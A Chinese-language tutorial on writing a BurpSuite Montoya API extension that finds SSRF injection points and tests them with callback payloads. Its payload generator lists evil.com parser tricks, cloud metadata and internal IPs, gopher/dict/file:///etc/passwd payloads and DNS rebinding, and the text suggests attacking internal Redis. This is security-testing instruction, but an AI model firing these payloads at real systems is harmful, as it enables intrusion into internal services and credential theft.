基于BurpSuite Montoya API开发现代化SSRF自动化探测插件

1. 项目概述：为什么我们需要一个现代化的SSRF探测插件

如果你是一名渗透测试工程师或者安全研究员，那么BurpSuite绝对是你工具箱里的瑞士军刀。但很多时候，面对海量的请求和复杂的应用逻辑，手动去挖掘像SSRF（Server-Side Request Forgery，服务端请求伪造）这类漏洞，效率低得让人抓狂。传统的做法可能是用Burp的Intruder模块，配上自己写的字典，或者用一些老旧的插件，但要么配置繁琐，要么误报率高，要么对新版本Burp的支持不好。这就是为什么我们需要一个基于最新Montoya API、专门为自动化SSRF探测而生的插件。

Montoya API是PortSwigger为BurpSuite推出的新一代扩展API，它代表了Burp插件开发的未来方向。相比老旧的Extender API，Montoya API提供了更清晰的对象模型、更强大的事件驱动机制以及更现代化的开发体验。基于它来开发插件，意味着更好的性能、更稳定的兼容性，以及能够利用BurpSuite最新的核心功能。我们这个项目的目标，就是打造一个“聪明”的插件：它不仅能自动从流量中识别潜在的SSRF注入点，还能智能地生成和发送探测Payload，并准确地判断是否存在漏洞，最终将结果清晰地呈现在你面前。从零开始，我将带你完整走一遍插件设计、开发、测试到实战应用的全过程，无论你是刚接触Burp插件开发的新手，还是想升级自己工具链的老手，收藏这篇，就够了。

2. 核心设计思路与Montoya API优势解析

2.1 传统SSRF探测的痛点与插件化解决方案

在深入代码之前，我们得先搞清楚手动或半自动探测SSRF到底麻烦在哪。首先，目标识别就是个大问题。SSRF的注入点可能隐藏在HTTP请求的各个角落：URL参数、POST数据体、Cookie、HTTP头（如X-Forwarded-For、Referer），甚至是JSON或XML结构的深层字段。人工浏览每个请求去猜测哪里可能存在服务端请求，无异于大海捞针。其次，Payload构造需要技巧。简单的http://evil.com可能被过滤，你需要考虑不同格式的URL（如含端口的、含路径的、使用不同协议如gopher://、dict://的）、利用URL解析差异、进行DNS重绑定攻击等。最后，结果判断依赖外部监听。你需要搭建一个DNSLog平台或HTTP服务器来接收回连请求，并手动核对哪个Payload触发了请求，这个过程非常琐碎且容易遗漏。

一个理想的自动化插件应该解决这三个核心问题：1.智能爬取与参数提取：自动遍历代理历史或站点地图，从请求中提取所有用户输入点。2.上下文感知的Payload生成：根据参数类型（是完整的URL参数，还是路径片段，或是主机头）生成最有可能成功的Payload序列。3.集成化回连检测与漏洞验证：插件内置或集成外部服务，自动关联Payload发送与回连事件，并标记出确切的漏洞点。

2.2 为什么选择Montoya API而非旧版Extender API

很多现有的Burp插件还基于老旧的Extender API开发，这在BurpSuite 2023及以后的版本中会逐渐遇到兼容性问题。Montoya API是PortSwigger官方力推的替代方案，它的优势是决定性的。

第一，面向对象与清晰的事件模型。Extender API的编程模型比较原始，你需要注册一堆IExtension、IHttpListener之类的接口，回调方法参数复杂。Montoya API则提供了如MontoyaApi这个核心入口点，以及HttpHandler、ProxyHandler等清晰的Handler接口，通过注解（如@HttpHandler）即可轻松注册事件处理器，代码结构更现代、更易维护。

第二，强大的内置工具与类型安全。Montoya API提供了丰富的工具类，例如用于发送HTTP请求的Http类、用于记录日志的Logging类、用于操作UI的UserInterface类。这些工具方法设计得更加友好，并且充分利用了Java的泛型等特性，减少了类型转换的麻烦和运行时错误。

第三，更好的性能与线程管理。Montoya API对后台任务的处理提供了更明确的支持，有助于开发出响应更快的插件，避免阻塞BurpSuite的主界面。

第四，未来的保障。PortSwigger明确表示新功能将优先甚至仅通过Montoya API提供。使用它进行开发，意味着你的插件能更长久地兼容未来版本的BurpSuite，并能利用更多高级特性。

对于我们这个SSRF探测插件，我们将充分利用Montoya API的HttpHandler来拦截和修改请求，使用UserInterface来创建自定义的扫描标签页，并用Logging来输出结构化的调试和结果信息。

3. 开发环境搭建与项目初始化

3.1 工具链准备：JDK、IDE与构建工具

工欲善其事，必先利其器。首先确保你的开发环境配置正确。

1. Java Development Kit (JDK)：BurpSuite扩展通常要求JDK 8或11。我推荐使用JDK 11 LTS版本，它在兼容性和现代语言特性上取得了很好的平衡。你可以在Oracle官网或Adoptium下载。安装后，在终端运行java -version确认版本。
2. 集成开发环境 (IDE)：IntelliJ IDEA是Java开发的首选，它对Maven/Gradle的支持和代码提示无出其右。社区免费版完全够用。当然，Eclipse或VS Code（配合Java扩展包）也是可行的选择。
3. 构建工具：我们使用Maven来管理项目依赖和构建。Maven的pom.xml文件能清晰地声明我们对Burp Montoya API的依赖，并打包出最终的Jar文件。确保安装了Maven（mvn -v检查）。

3.2 创建Maven项目与配置Montoya API依赖

打开IntelliJ IDEA，选择“New Project”，创建一个Maven项目，选择合适的JDK 11。项目创建好后，打开核心的pom.xml文件进行配置。

首先，需要添加PortSwigger的官方Maven仓库，因为Montoya API的库不在中央仓库中。在<repositories>节点内添加：

<repository> <id>portswigger-public</id> <url>https://portswigger.net/maven</url> </repository>

然后，在<dependencies>节点内添加Montoya API的依赖。这里有一个关键点：你需要根据你使用的BurpSuite版本，选择对应版本的API。例如，对于BurpSuite 2024.6，你可能需要使用montoya-api:2024.6。你可以从PortSwigger的官方文档或仓库中查找最新版本号。

<dependency> <groupId>net.portswigger.burp.extensions</groupId> <artifactId>montoya-api</artifactId> <version>2024.6</version> <!-- 请替换为你的Burp版本对应的API版本 --> <scope>provided</scope> </dependency>

<scope>provided</scope>非常重要，它意味着这个依赖在编译时需要，但不会被打包进最终的Jar里，因为BurpSuite运行时自身会提供这个库。

最后，配置Maven的编译插件，指定Java版本，并配置生成可执行Jar的maven-shade-plugin或maven-assembly-plugin。一个简单的maven-shade-plugin配置示例如下，它可以将所有依赖（除了provided范围的）打包成一个“uber-jar”：

<build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-compiler-plugin</artifactId> <version>3.11.0</version> <configuration> <source>11</source> <target>11</target> </configuration> </plugin> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-shade-plugin</artifactId> <version>3.5.0</version> <executions> <execution> <phase>package</phase> <goals> <goal>shade</goal> </goals> </execution> </executions> </plugin> </plugins> </build>

注意：Montoya API的版本必须与你的BurpSuite主程序版本高度匹配，否则插件可能无法加载或运行时出错。最稳妥的方式是查看BurpSuite启动时控制台输出的信息，或者在其Extender APIs界面中查看Montoya API的版本。

3.3 插件入口类与BurpSuite集成基础

在src/main/java下创建你的包，例如com.example.burp.ssrfdetector。然后创建核心的插件入口类，比如叫SSRFDetectorExtension，它必须实现BurpExtension接口。

package com.example.burp.ssrfdetector; import burp.api.montoya.BurpExtension; import burp.api.montoya.MontoyaApi; public class SSRFDetectorExtension implements BurpExtension { @Override public void initialize(MontoyaApi api) { // 设置插件名称，这会在Burp的Extender界面显示 api.extension().setName("SSRF Auto Detector"); // 注册HTTP处理器，用于拦截和修改流量 api.http().registerHttpHandler(new MyHttpHandler(api)); // 注册自定义的扫描检查器（Scanner Check），这是高级功能，后续可以添加 // api.scanner().registerScanCheck(new MyScanCheck(api)); // 初始化用户界面组件 SwingUtilities.invokeLater(() -> new SSRFDetectorUI(api)); // 输出初始化成功日志 api.logging().logToOutput("SSRF Auto Detector Plugin Initialized Successfully!"); } }

initialize方法是插件的生命起点，在这里我们获取MontoyaApi实例，并用它来注册我们需要的各种处理器、设置插件信息、初始化UI。注意，UI操作（如创建Swing组件）最好在SwingUtilities.invokeLater中执行，以确保线程安全。

4. 核心引擎：流量分析与潜在注入点识别

4.1 实现HttpHandler拦截与请求分析

插件的能力核心在于HttpHandler。我们创建一个MyHttpHandler类来实现HttpHandler接口。这个处理器会接收到Burp代理流过的每一个HTTP请求和响应。

import burp.api.montoya.http.handler.*; import burp.api.montoya.http.message.requests.HttpRequest; import burp.api.montoya.http.message.responses.HttpResponse; import static burp.api.montoya.http.handler.RequestToBeSentAction.continueWith; import static burp.api.montoya.http.handler.ResponseReceivedAction.continueWith; public class MyHttpHandler implements HttpHandler { private final MontoyaApi api; private final SSRFEngine ssrfEngine; // 我们的SSRF探测引擎 public MyHttpHandler(MontoyaApi api) { this.api = api; this.ssrfEngine = new SSRFEngine(api); } @Override public RequestToBeSentAction handleHttpRequestToBeSent(HttpRequestToBeSent requestToBeSent) { // 1. 这里可以分析即将发出的请求，但通常SSRF探测更关注服务端响应后，我们修改请求重放。 // 2. 我们可以选择在这里对某些请求添加标记，或者进行被动扫描。 // 对于主动探测，更常见的模式是在用户通过UI触发，或通过Scanner Check进行。 // 因此，这里我们主要做“标记”和“数据收集”。 ssrfEngine.analyzeRequestForPotentialTargets(requestToBeSent); return continueWith(requestToBeSent); // 让请求继续正常发送 } @Override public ResponseReceivedAction handleHttpResponseReceived(HttpResponseReceived responseReceived) { // 收到响应后，我们可以分析响应内容，判断是否有线索表明存在SSRF参数。 // 例如，响应中包含“内网IP”、“localhost”等字符串，可能提示存在SSRF。 // 但更主要的，我们是在UI中让用户选择某个请求后，对其进行主动测试。 ssrfEngine.analyzeResponseForClues(responseReceived); return continueWith(responseReceived); // 让响应继续传递给浏览器或其他工具 } }

在实际设计中，handleHttpRequestToBeSent更适合用于被动扫描：即仅仅分析流过的请求，从中提取参数，并评估其风险等级，但不主动发送Payload。而主动发送大量探测请求的行为，最好在独立的线程中执行，或者通过Burp的主动扫描接口（ScanCheck）来实现，以避免阻塞代理流量或对目标造成意外影响。我们这个插件将重点实现一个强大的主动探测引擎，由用户在UI界面手动触发对特定请求的测试。

4.2 智能参数提取与上下文判断

SSRFEngine类的analyzeRequestForPotentialTargets方法是关键。它的任务是从一个HTTP请求中，提取所有可能被服务器端请求的输入点。

public class SSRFEngine { private final MontoyaApi api; private final PayloadGenerator payloadGenerator; private final CallbackServer callbackServer; public void analyzeRequestForPotentialTargets(HttpRequestToBeSent request) { String url = request.url(); HttpRequest httpRequest = request.toHttpRequest(); // 1. 分析URL参数 (Query Parameters) List<HttpRequestParameter> parameters = httpRequest.parameters(); for (HttpRequestParameter param : parameters) { String paramName = param.name(); String paramValue = param.value(); // 启发式判断：参数名包含url, link, path, dest, redirect, out, proxy等关键词 if (isPotentialSSRFParameter(paramName, paramValue)) { PotentialTarget target = new PotentialTarget(request, param, ParameterType.URL); cachePotentialTarget(target); } } // 2. 分析POST Body (包括application/x-www-form-urlencoded, multipart/form-data, 以及JSON/XML) String body = httpRequest.bodyToString(); String contentType = httpRequest.headerValue("Content-Type"); if (contentType != null && contentType.contains("application/json")) { // 使用如Jackson或Gson解析JSON，递归遍历所有字符串值节点 extractParametersFromJson(body, request, ParameterType.BODY_JSON); } else if (contentType != null && contentType.contains("application/xml") || contentType.contains("text/xml")) { // 使用DOM或SAX解析XML，提取属性和文本节点 extractParametersFromXml(body, request, ParameterType.BODY_XML); } else { // 处理表单格式的Body List<HttpRequestParameter> bodyParams = httpRequest.bodyParameters(); for (HttpRequestParameter param : bodyParams) { if (isPotentialSSRFParameter(param.name(), param.value())) { PotentialTarget target = new PotentialTarget(request, param, ParameterType.BODY_FORM); cachePotentialTarget(target); } } } // 3. 分析HTTP头部 (某些头部可能被用于发起请求，如X-Forwarded-Host, Referer等) List<HttpHeader> headers = httpRequest.headers(); for (HttpHeader header : headers) { String headerName = header.name().toLowerCase(); if (headerName.equals("referer") || headerName.contains("forwarded") || headerName.contains("host") || headerName.contains("url")) { PotentialTarget target = new PotentialTarget(request, header, ParameterType.HEADER); cachePotentialTarget(target); } } // 4. 分析URL路径本身 (RESTful API中，路径片段可能包含主机名或IP) // 例如：GET /api/fetch?url=http://example.com 和 GET /api/fetch/http://example.com 是等价的 String path = httpRequest.path(); // 使用正则匹配路径中是否包含类似URL或IP的片段 if (path.matches(".*(https?://|ftp://|gopher://|dict://).*")) { // 这是一个强烈的信号，可能整个路径的一部分就是参数 // 需要更复杂的逻辑来隔离出参数部分，这里简化为标记整个请求 PotentialTarget target = new PotentialTarget(request, null, ParameterType.PATH); target.setOriginalValue(path); cachePotentialTarget(target); } } private boolean isPotentialSSRFParameter(String name, String value) { name = name.toLowerCase(); // 参数名黑名单/白名单 List<String> keywordList = Arrays.asList("url", "uri", "path", "dest", "redirect", "out", "proxy", "feed", "api", "request", "file", "document", "folder", "root", "port", "callback", "return"); for (String keyword : keywordList) { if (name.contains(keyword)) { return true; } } // 参数值看起来像一个URL或IP if (value != null && (value.startsWith("http://") || value.startsWith("https://") || value.matches("^\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}.*"))) { return true; } return false; } }

PotentialTarget类是一个数据模型，用于封装一个潜在的注入点信息：原始请求、参数位置（类型、名称、在请求中的索引）、原始值等。cachePotentialTarget方法会将这些目标存储到一个列表或数据库中，供UI界面展示和用户选择进行主动测试。

实操心得：参数提取的“智能”程度决定了插件的误报率和漏报率。上述的简单关键词匹配和格式匹配会产生很多误报（比如一个名为imageUrl的参数可能只是前端显示用，并不被后端请求）。因此，在UI设计中，必须提供让用户手动筛选和确认目标的功能。插件可以高亮提示可疑目标，但最终发射Payload的决定权应交由用户。

5. 载荷生成与回连检测策略

5.1 多维度Payload库构建

SSRF的利用方式多样，Payload需要根据上下文精心设计。我们的PayloadGenerator类负责此任务。

public class PayloadGenerator { private final MontoyaApi api; private String callbackHost; // 我们的回连服务器地址 public List<String> generatePayloads(PotentialTarget target, String callbackHost) { this.callbackHost = callbackHost; List<String> payloads = new ArrayList<>(); String originalValue = target.getOriginalValue(); // 类型1：直接替换为回连地址 (适用于完整的URL参数) payloads.add("http://" + callbackHost); payloads.add("https://" + callbackHost); payloads.add("http://" + callbackHost + "/" + System.currentTimeMillis()); // 添加唯一路径便于区分 // 类型2：利用URL解析差异和特殊格式 payloads.add("http://" + callbackHost + ":80@evil.com"); // 嵌入凭据 payloads.add("http://evil.com#@" + callbackHost); // 利用Fragment payloads.add("http://" + callbackHost + "?evil.com"); // 将原主机名放在查询参数 payloads.add("http://evil.com\\" + callbackHost); // 使用反斜杠（某些解析器可能行为异常） // 类型3：针对IP地址格式的参数 if (originalValue != null && originalValue.matches("^\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}.*")) { // 如果原值是IP，尝试替换为我们的IP，或构造内网IP探测Payload payloads.add("127.0.0.1"); payloads.add("0.0.0.0"); payloads.add("localhost"); payloads.add("169.254.169.254"); // AWS/阿里云等元数据服务地址 payloads.add("192.168.0.1"); // 常见内网网关 payloads.add("10.0.0.1"); payloads.add(callbackHost); // 也尝试直接替换成我们的回连IP } // 类型4：非HTTP协议探测 (如果服务器支持) payloads.add("gopher://" + callbackHost + ":80/_GET%20/HTTP/1.0%0d%0aHost:%20" + callbackHost + "%0d%0a%0d%0a"); payloads.add("dict://" + callbackHost + ":80/"); payloads.add("file:///etc/passwd"); // 尝试读取本地文件（也是SSRF的一种利用） // 类型5：DNS重绑定Payload (需要配合特定的DNS重绑定服务) // 例如使用 rbndr.us 服务：http://7f000001.0a00020f.rbndr.us/ (对应 127.0.0.1 和 10.0.2.15) // 这里生成一个示例，实际使用时需要集成第三方服务或自建 payloads.add("http://" + generateDnsRebindingUrl(callbackHost)); // 类型6：基于原始值的变形 (盲替换) if (originalValue != null && !originalValue.isEmpty()) { try { URL url = new URL(originalValue); // 替换主机部分 String mutated = originalValue.replace(url.getHost(), callbackHost); payloads.add(mutated); // 在路径或参数中添加回调标记 String withMarker = originalValue + (originalValue.contains("?") ? "&" : "?") + "cb=" + System.currentTimeMillis(); payloads.add(withMarker); } catch (Exception e) { // 不是标准URL，尝试字符串替换 payloads.add(originalValue.replaceFirst("([a-zA-Z0-9.-]+)", callbackHost)); } } return payloads; } private String generateDnsRebindingUrl(String ip) { // 这是一个简化的示例，实际DNS重绑定需要将IP编码到特定域名的子域中 // 例如，将 127.0.0.1 编码为 7f000001 String hexIp = ipToHex(ip); // 需要实现 ipToHex 方法 return hexIp + ".your-dns-rebinding-service.com"; } }

Payload库需要不断维护和更新。一个好的做法是将其设计为可配置的，允许用户通过配置文件或UI添加自定义的Payload规则。

5.2 集成化回连服务器与事件关联

主动探测SSRF的核心是让目标服务器向我们控制的服务器发起请求。我们需要一个**回调服务器（Callback Server）**来接收这些请求。插件可以集成一个轻量级的HTTP/DNS服务器，或者与外部成熟平台（如Burp Collaborator，这是BurpSuite专业版自带的功能）进行联动。

方案一：集成微型HTTP服务器我们可以使用像com.sun.net.httpserver或org.eclipse.jetty这样的库，在插件内部启动一个简单的HTTP服务器。

public class CallbackServer { private final MontoyaApi api; private HttpServer server; private int port; private String host; private ConcurrentHashMap<String, CallbackRecord> receivedRequests = new ConcurrentHashMap<>(); public void start(String host, int port) throws IOException { this.host = host; this.port = port; this.server = HttpServer.create(new InetSocketAddress(host, port), 0); server.createContext("/", new HttpHandler() { @Override public void handle(HttpExchange exchange) throws IOException { String requestId = exchange.getRequestURI().getPath().replaceFirst("/", ""); String clientIp = exchange.getRemoteAddress().getAddress().getHostAddress(); String method = exchange.getRequestMethod(); Map<String, String> headers = new HashMap<>(); exchange.getRequestHeaders().forEach((k, v) -> headers.put(k, String.join(", ", v))); // 记录请求 CallbackRecord record = new CallbackRecord(requestId, clientIp, method, headers, new Date()); receivedRequests.put(requestId, record); api.logging().logToOutput(String.format("[SSRF Callback] Received request from %s for ID: %s", clientIp, requestId)); // 返回一个简单的响应 String response = "OK"; exchange.sendResponseHeaders(200, response.getBytes().length); try (OutputStream os = exchange.getResponseBody()) { os.write(response.getBytes()); } } }); server.setExecutor(null); server.start(); api.logging().logToOutput(String.format("[SSRF Callback] Server started on %s:%d", host, port)); } public CallbackRecord getRecord(String requestId) { return receivedRequests.get(requestId); } }

在生成Payload时，我们会为每个Payload生成一个唯一ID（如UUID或时间戳），并将其作为路径的一部分，例如http://your-callback-server.com/abcd-1234-efgh。这样，当回调服务器收到请求时，就能通过路径中的ID精确关联到是哪个Payload、哪个测试请求触发的。

方案二：集成Burp Collaborator（推荐）Burp Collaborator是PortSwigger官方提供的强大工具，它能处理HTTP、HTTPS、DNS甚至SMTP的回连，并且自带公网可访问的服务器，无需你自己部署。Montoya API提供了CollaboratorClient来与之交互。

import burp.api.montoya.collaborator.*; public class CollaboratorCallbackManager { private final MontoyaApi api; private CollaboratorClient collaboratorClient; private Map<String, Interaction> interactionMap = new ConcurrentHashMap<>(); public CollaboratorCallbackManager(MontoyaApi api) { this.api = api; this.collaboratorClient = api.collaborator().createClient(); } public String generatePayload() { // 创建一个新的Collaborator Payload（一个随机的子域名） CollaboratorPayload payload = collaboratorClient.createPayload(); String payloadDomain = payload.toString(); // 例如: xyz12345.oastify.com // 定期轮询该Payload的交互记录 new Thread(() -> pollInteractions(payload)).start(); return "http://" + payloadDomain; } private void pollInteractions(CollaboratorPayload payload) { while (!Thread.currentThread().isInterrupted()) { try { List<Interaction> interactions = collaboratorClient.getInteractions(payload); for (Interaction interaction : interactions) { String key = interaction.id(); if (!interactionMap.containsKey(key)) { interactionMap.put(key, interaction); // 触发UI更新或日志记录 api.logging().logToOutput("[SSRF Found] Interaction detected: " + interaction.type() + " from " + interaction.sourceIp()); } } Thread.sleep(5000); // 每5秒轮询一次 } catch (InterruptedException e) { break; } } } }

使用Collaborator是最省心、最可靠的方式，但它需要BurpSuite专业版。我们的插件可以设计成两种模式都支持，优先使用Collaborator，如果不可用则回退到内置HTTP服务器（需要用户确保网络可达）。

6. 用户界面设计与交互逻辑

6.1 使用Swing构建主控制面板

一个直观的UI能极大提升工具的使用体验。我们将使用Java Swing来构建一个标签页，集成到BurpSuite的主界面中。主要利用Montoya API的UserInterface类。

public class SSRFDetectorUI { private final MontoyaApi api; private JPanel mainPanel; private JTable targetTable; private JButton scanButton; private JButton stopButton; private JProgressBar progressBar; private JTextArea logArea; private DefaultTableModel tableModel; private SSRFEngine engine; public SSRFDetectorUI(MontoyaApi api) { this.api = api; this.engine = new SSRFEngine(api); initializeUI(); api.userInterface().registerSuiteTab("SSRF Detector", mainPanel); } private void initializeUI() { mainPanel = new JPanel(new BorderLayout()); // 1. 顶部控制栏 JPanel controlPanel = new JPanel(new FlowLayout(FlowLayout.LEFT)); scanButton = new JButton("Start Scan"); stopButton = new JButton("Stop Scan"); stopButton.setEnabled(false); progressBar = new JProgressBar(); progressBar.setStringPainted(true); controlPanel.add(scanButton); controlPanel.add(stopButton); controlPanel.add(progressBar); // 2. 中间目标列表 String[] columnNames = {"Selected", "Method", "URL", "Parameter", "Type", "Original Value"}; tableModel = new DefaultTableModel(columnNames, 0) { @Override public Class<?> getColumnClass(int columnIndex) { return columnIndex == 0 ? Boolean.class : String.class; } }; targetTable = new JTable(tableModel); targetTable.getColumnModel().getColumn(0).setMaxWidth(60); JScrollPane tableScrollPane = new JScrollPane(targetTable); // 3. 底部日志区域 logArea = new JTextArea(10, 80); logArea.setEditable(false); JScrollPane logScrollPane = new JScrollPane(logArea); // 布局组装 mainPanel.add(controlPanel, BorderLayout.NORTH); mainPanel.add(tableScrollPane, BorderLayout.CENTER); mainPanel.add(logScrollPane, BorderLayout.SOUTH); // 4. 按钮事件绑定 scanButton.addActionListener(e -> startScan()); stopButton.addActionListener(e -> stopScan()); // 5. 从引擎加载潜在目标到表格 loadPotentialTargets(); } private void loadPotentialTargets() { // 从SSRFEngine获取缓存的PotentialTarget列表，并填充表格 List<PotentialTarget> targets = engine.getCachedTargets(); SwingUtilities.invokeLater(() -> { tableModel.setRowCount(0); for (PotentialTarget target : targets) { tableModel.addRow(new Object[]{ false, // 复选框初始未选中 target.getMethod(), target.getUrl(), target.getParamName(), target.getParamType().toString(), target.getOriginalValue() }); } }); } private void startScan() { // 获取用户选中的行 List<Integer> selectedRows = new ArrayList<>(); for (int i = 0; i < tableModel.getRowCount(); i++) { Boolean isSelected = (Boolean) tableModel.getValueAt(i, 0); if (isSelected != null && isSelected) { selectedRows.add(i); } } if (selectedRows.isEmpty()) { JOptionPane.showMessageDialog(mainPanel, "Please select at least one target to scan.", "Warning", JOptionPane.WARNING_MESSAGE); return; } // 更新UI状态 scanButton.setEnabled(false); stopButton.setEnabled(true); progressBar.setIndeterminate(true); // 不确定进度条 // 在新线程中执行扫描，避免阻塞UI new Thread(() -> { for (int rowIndex : selectedRows) { // 从表格数据反序列化出PotentialTarget对象 PotentialTarget target = reconstructTargetFromRow(rowIndex); log("Starting scan for target: " + target.getUrl() + " - " + target.getParamName()); try { engine.performActiveScan(target, this::log, this::updateProgress); } catch (Exception e) { log("Error scanning target: " + e.getMessage()); } // 可以在这里添加Thread.sleep()控制请求速率，避免对目标造成压力 } // 扫描完成 SwingUtilities.invokeLater(() -> { scanButton.setEnabled(true); stopButton.setEnabled(false); progressBar.setIndeterminate(false); progressBar.setValue(100); log("Scan completed."); }); }).start(); } private void log(String message) { SwingUtilities.invokeLater(() -> { logArea.append("[*] " + message + "\n"); logArea.setCaretPosition(logArea.getDocument().getLength()); // 自动滚动到底部 }); } }

这个UI提供了目标列表（带复选框选择）、开始/停止按钮、进度条和日志区域。loadPotentialTargets方法需要与之前SSRFEngine中缓存的目标列表同步。

6.2 扫描任务管理与线程控制

在startScan方法中，我们启动了新线程来执行主动扫描。这是因为发送HTTP请求并等待响应是I/O密集型操作，如果在事件分发线程（EDT）中执行，会导致整个BurpSuite界面卡死。

SSRFEngine.performActiveScan方法是核心的主动测试逻辑：

1. 根据选中的PotentialTarget，使用PayloadGenerator生成一批Payload。
2. 获取或创建CallbackServer/CollaboratorClient实例，为每个Payload准备唯一的回调地址。
3. 遍历Payload列表，为每个Payload： a. 克隆原始请求（HttpRequest）。 b. 根据参数类型（URL参数、Body参数、Header等），在克隆的请求中替换对应位置的值为当前Payload。 c. 使用Montoya API的http().sendRequest()方法发送修改后的请求。这里务必注意，要使用sendRequest而不是通过代理重放，因为我们需要控制请求的发送时机和频率，并且不希望这些测试流量再经过代理历史干扰我们。d. 可选地，记录下发送的请求、使用的Payload和对应的唯一回调ID。
4. 启动一个监听线程，定期检查回调服务器，看是否有新的交互到达。一旦发现交互，就将其与发送记录关联，标记该目标存在SSRF漏洞，并更新UI（例如，在目标列表的对应行高亮显示，或在日志中输出详细漏洞信息）。

注意事项：速率限制（Rate Limiting）至关重要。不加节制地快速发送大量请求，很容易触发目标的WAF（Web应用防火墙）规则，导致IP被封锁，或者对目标服务造成拒绝服务（DoS）影响。必须在请求之间加入随机延迟（例如，1到3秒），并且提供让用户配置延迟时间的选项。这是负责任的安全测试的体现。

7. 插件打包、测试与实战技巧

7.1 使用Maven打包与Burp加载

开发完成后，在项目根目录运行Maven命令进行打包：

mvn clean compile package

如果配置正确，这会在target目录下生成一个类似ssrf-detector-1.0-SNAPSHOT.jar的文件。这个Jar文件就是我们的Burp插件。

在BurpSuite中加载插件：

1. 打开BurpSuite，进入Extender标签页。
2. 点击Extensions子标签。
3. 点击Add按钮。
4. 在Extension Type下拉菜单中选择Java。
5. 点击Select file...按钮，找到并选择我们刚刚生成的Jar文件。
6. 点击Next，如果一切正常，Burp会解析插件并显示其详细信息（名称、版本等），同时输出面板会显示我们插件初始化时打印的日志：“SSRF Auto Detector Plugin Initialized Successfully!”。
7. 此时，BurpSuite的主界面标签栏应该会出现一个新的标签“SSRF Detector”，点击即可看到我们开发的UI界面。

7.2 实战测试与漏洞验证流程

假设我们有一个测试目标：http://vulnerable-app.com/api/fetch?url=http://example.com。

1. 流量捕获：在Burp中配置好代理，用浏览器访问目标应用，触发这个/api/fetch请求。请求会经过Burp代理，被我们的插件HttpHandler捕获。
2. 目标识别：插件分析该请求，发现url参数名包含关键词“url”，且其值是一个HTTP URL，因此将其标记为潜在目标，并显示在插件的UI表格中。
3. 配置回调：在插件UI中，配置回调地址。如果使用Burp Collaborator，点击“Generate Collaborator Payload”即可获得一个临时域名。如果使用内置服务器，需要确保你的服务器IP/端口能被目标服务器访问（可能需要公网IP或使用ngrok等内网穿透工具）。
4. 启动扫描：在表格中勾选这个目标，点击“Start Scan”。
5. 插件工作：插件开始工作。它会用一系列Payload替换原请求中的url参数值，例如替换为http://your-callback-domain.xyz，然后发送这些修改后的请求。
6. 结果判断：如果你的回调服务器（或Collaborator）收到了来自目标服务器vulnerable-app.com的HTTP请求，那么恭喜，SSRF漏洞存在！插件会立即在UI中高亮该行，并在日志中显示漏洞详情，包括触发的Payload、来源IP、时间戳等。
7. 深入利用：发现漏洞后，你可以进一步利用。例如，尝试使用file://协议读取服务器本地文件，或者使用gopher://协议攻击内网Redis服务。插件可以集成一些常见的利用Payload模板。

7.3 常见问题排查与调试技巧

1. 插件加载失败：

   • 错误信息：java.lang.UnsupportedClassVersionError。这通常是编译使用的JDK版本高于BurpSuite运行的JRE版本。确保使用JDK 8或11进行编译，并在pom.xml中指定正确的<source>和<target>。
   • 错误信息：NoClassDefFoundError或ClassNotFoundException。这通常是依赖问题。检查pom.xml中Montoya API的<scope>provided</scope>是否正确。确保没有将Burp本身的库打包进Jar。使用mvn dependency:tree检查依赖冲突。

2. UI标签页不显示：

   • 检查initialize方法中是否调用了api.userInterface().registerSuiteTab(...)。
   • 确保UI初始化代码在SwingUtilities.invokeLater中执行，因为Burp的UI是基于Swing的，必须在事件分发线程上操作。

3. 回调服务器收不到请求：

   • 网络可达性：这是最常见的问题。如果使用内置服务器，确保服务器监听在0.0.0.0而非127.0.0.1，并且防火墙放行了相应端口。从目标服务器网络环境尝试telnet your-ip port或curl http://your-ip:port测试连通性。
   • Payload格式：目标应用可能对输入有严格的过滤或校验。尝试使用不同格式的Payload（如URL编码、双重URL编码、使用@符号、使用#号等）。
   • 协议限制：目标服务器可能只允许http和https协议，尝试禁用gopher、dict等协议的Payload。
   • 查看Burp日志：在插件的log方法中增加详细输出，查看生成的Payload是否正确，发送的请求是否成功发出，以及Burp的Logger标签页中是否有目标服务器的响应（如403、400错误），这能帮助你判断Payload是否被服务端接受。

4. 扫描速度过快导致IP被禁：

   • 务必在扫描逻辑中加入延迟。可以设计一个可配置的“请求间隔”参数（如默认2000毫秒），并在每个请求发送后Thread.sleep(interval + randomDelta)。

5. 误报率高：

   • 优化isPotentialSSRFParameter的启发式规则。可以引入白名单机制，忽略某些已知安全的参数名（如callback在JSONP中可能只是前端函数名）。
   • 在主动发送Payload前，可以先发送一个无害的探测请求（如将参数值改为一个不存在的域名），通过分析服务器响应（是否返回连接错误、超时错误等）来判断该参数是否真的被后端请求。这需要更复杂的响应分析逻辑。

开发这样一个插件的过程，本身就是对SSRF漏洞原理、BurpSuite扩展机制和Java网络编程的一次深度实践。将它打磨得更加智能、稳定和易用，会成为你渗透测试工作中一件极具威力的自动化武器。记住，自动化工具是为了提升效率，但最终的分析和判断，永远离不开安全工程师的经验和智慧。